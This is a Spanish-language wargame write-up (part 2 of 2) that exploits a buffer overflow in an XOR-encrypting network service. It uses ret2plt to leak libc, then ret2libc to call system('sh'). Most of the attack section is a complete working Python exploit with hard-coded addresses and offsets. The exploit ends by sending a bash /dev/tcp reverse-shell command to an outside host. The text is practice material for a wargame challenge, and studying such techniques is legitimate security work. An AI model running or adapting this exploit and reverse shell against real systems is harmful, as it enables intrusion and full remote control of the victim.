Ahora procederemos con la segunda fase, lograr la ejecución de código arbitrario. Aquí como siempre suelen existir múltiples caminos y cada uno da rienda suelta a su imaginación. Tras luchar algún tiempo con herramientas como "
ROPgadget" y "
ropeme", se hace evidente que la sección de texto de la aplicación no contiene demasiados
gadgets con los que trabajar, por lo que un ataque
ROP habitual no parece sencillo.
En la red puede encontrarse alguna solución con métodos avanzados de
ROP en varias fases cuya lectura es altamente recomendable. Mi solución sigue los pasos de la idea expuesta en la última sección del
capítulo 7 del
libro Linux Exploiting. Aunque algunos consideren que un ataque
Return-to-libc o
ret2libc no sea
turing complete, es decir, que permita todo tipo de computaciones arbitrarias como
ROP, si con ello conseguimos obtener una
shell de comandos al final el resultado será idéntico, control total sobre el sistema objetivo.
La pregunta es, si
ASLR se encuentra activado y la
libc se carga en direcciones aleatorias en cada reinicio de la aplicación, ¿de dónde demonios sacamos la dirección de una función como
system()? La respuesta se halla en el uso de la técnica
ret2plt. Podemos sobreescribir
EIP con la dirección de la función
write() en la
PLT, y pasarle como argumentos:
stdout(0x1), la dirección de una entrada en la
GOT "
resuelta", y el tamaño de la dirección
(0x4). El servidor nos enviará de vuelta una dirección de una función perteneciente a la
libc a la que podemos restar un
offset conocido para obtener la base de la librería.
Una vez con la dirección base en la mano, la función
system() también se encontrará en un desplazamiento u
offset estático. Curiosamente vamos a obtener la dirección de la misma función
write() en la
GOT, ya que se trata de una función que ha sido ejecutada por el programa en varias ocasiones y por lo tanto ha sido previamente resuelta. El nuevo
payload tiene un aspecto como el siguiente:
padding = "A" * (32 * 4096 + 16)
write_plt = pack("<I", 0x080489c0)
write_got = pack("<I", 0x0804b3dc)
stdout = pack("<I", 1)
len_to_write = pack("<I", 4)
orig_payload = padding + write_plt + "AAAA" + stdout + write_got + len_to_write
payload = ''
for i in range(len(orig_payload)):
payload += chr(ord(orig_payload[i]) ^ ord(key[i % 128]))
payload_size = pack("<I", len(payload))
print "[+] Enviando " + str(len(payload)) + " bytes"
sk.sendall("E")
sk.sendall(payload_size)
sk.sendall(payload)
sk.recv(120, MSG_WAITALL)
sk.recv(4, MSG_WAITALL)
sk.recv(len(payload), MSG_WAITALL)
sleep(0.2)
sk.sendall("Q")
buf = sk.recv(4)
libc_base = unpack("<I", buf)[0] - 0xc12c0
print "[+] Libc Base: " + str(hex(libc_base))
libc_system = libc_base + 0x3cb20
print "[+] system() : " + str(hex(libc_system))
sleep(0.2)
sk.sendall("Q")
Obteniendo:

|
Figura 4: Resultado obtenido con este nuevo payload |
Alguien podría preguntarse de dónde hemos obtenido los
offsets necesarios. No se oculta ningún truco bajo la manga, otra ilustración demuestra que los cálculos no son mágicos.
|
Figura 5: Offsets |
Con la dirección de
system() en nuestro poder también necesitamos la dirección de una cadena "
sh" que se encuentre en una dirección estática y predecible. La zona de código de la
libc seguía pareciendo un lugar adecuado:
|
Figura 6: búsqueda de la dirección de la cadena sh |
La situación que se presenta ahora es la siguiente: tenemos la clave de cifrado para enviar datos al servidor y controlar
EIP, tenemos la dirección de la función de librería
system() y tenemos la dirección de una cadena "
sh". El único problema es que si cerramos el
socket y volvemos a empezar desde el principio con los datos obtenidos, la clave de cifrado cambiará con la nueva
conexión y tendremos que comenzar el proceso desde cero.
Aunque es un camino totalmente aceptable, una ingeniosa idea vino a mi mente. En el fragmento de
script anterior escribimos cuatro caracteres
"A" después de la dirección de
write() en la
PLT, podemos sustituir estos
4 bytes por una dirección de retorno más útil, que resulta ser la dirección de la función
encrypt_file(), lo que divertidamente nos lleva de nuevo al ciclo de recepción de datos, todo ello sin cambio de clave de cifrado.
En el siguiente envío de datos podemos volver a explotar el
buffer vulnerable y sobreescribir el registro
EIP, pero esta vez con la dirección de
system() seguido de la dirección de la cadena "
sh". El ciclo sería más o menos como el siguiente:
1 – encrypt_file()
2 – write@plt(stdout, &write@got, 4) 3 – encrypt_file()
4 – system("sh")
Una vez la shell sea ejecutada, todos los datos enviados a través del socket serán interpretados como comandos del sistema. Podemos aprovechar esto para ejecutar una shell inversa que se conecte a nuestra máquina. He aquí el
exploit final:
from socket import *
from struct import *
from time import *
sk = socket(AF_INET, SOCK_STREAM)
sk.connect(("192.168.0.119", 20002))
size = pack("<I", 128)
print sk.recv(57, MSG_WAITALL)
sk.send("E")
sk.send(size)
sk.send("\x00"*128)
msg = sk.recv(120, MSG_WAITALL)
print "[+] (" + str(len(msg)) + ") " + msg
buf = sk.recv(4)
size = unpack("<I", buf)[0]
print "[+] Recibido: " + str(hex(size)) + " bytes"
key = sk.recv(128, MSG_WAITALL)
print "[+] Clave: " + key.encode("hex")
padding = "A" * (32 * 4096 + 16)
write_plt = pack("<I", 0x080489c0)
write_got = pack("<I", 0x0804b3dc)
stdout = pack("<I", 1)
len_to_write = pack("<I", 4)
encrypt_file = pack("<I", 0x080497f7)
orig_payload = padding + write_plt + encrypt_file + stdout + write_got + len_to_write
payload = ''
for i in range(len(orig_payload)):
payload += chr(ord(orig_payload[i]) ^ ord(key[i % 128]))
payload_size = pack("<I", len(payload))
print "[+] Enviando " + str(len(payload)) + " bytes"
sk.sendall("E")
sk.sendall(payload_size)
sk.sendall(payload)
sk.recv(120, MSG_WAITALL)
sk.recv(4, MSG_WAITALL)
sk.recv(len(payload), MSG_WAITALL)
sleep(0.2)
sk.sendall("Q")
buf = sk.recv(4)
libc_base = unpack("<I", buf)[0] - 0xc12c0
print "[+] Libc Base: " + str(hex(libc_base))
libc_system = libc_base + 0x3cb20
print "[+] system(): " + str(hex(libc_system))
sh_string = libc_base + 0xf41d
print "[+] 'sh': " + str(hex(sh_string))
exploit_payload = padding + pack("<I", libc_system) + "AAAA" + pack("<I",
sh_string)
payload = ''
for i in range(len(exploit_payload)):
payload += chr(ord(exploit_payload[i]) ^ ord(key[i % 128]))
payload_size = pack("<I", len(payload))
print sk.recv(57, MSG_WAITALL)
sk.sendall("E")
sk.sendall(payload_size)
sk.sendall(payload)
sk.recv(120, MSG_WAITALL)
sk.recv(4, MSG_WAITALL)
sk.recv(len(payload), MSG_WAITALL)
sleep(0.2)
sk.sendall("Q")
sk.sendall("id\n")
print "[+] (id): " + sk.recv(10, MSG_WAITALL)
print "[+] Iniciando shell remota inversa..."
sk.sendall("bash -i >& /dev/tcp/192.168.0.11/31337 0>&1\n")
sk.close()
Y llega el momento que te levanta de la silla:

|
Figura 7: Reto conseguido |
Como nota adicional y anécdota que nunca falta en este tipo de
wargames, comentar que tras la ejecución del exploit final me tiré 20 minutos sin obtener resultado alguno, hasta darme cuenta finalmente que tenía el
firewall activo bloqueando todas las conexiones entrantes. Resulta divertido pensar que el elemento de seguridad que me estaba protegiendo a mí, también estaba protegiendo a mi objetivo, pero por poco tiempo :)
El dinero está bien, pero la vida puede encontrar sentido entre estos pequeños retos. Feliz Hacking!!!
Autor: blackngel autor del libro Linux Exploiting
****************************************************************************************
-
Wargames y la alegría de un SegFault (1 de 2). No todo es dinero.
-
Wargames y la alegría de un SegFault (2 de 2). No todo es dinero.
****************************************************************************************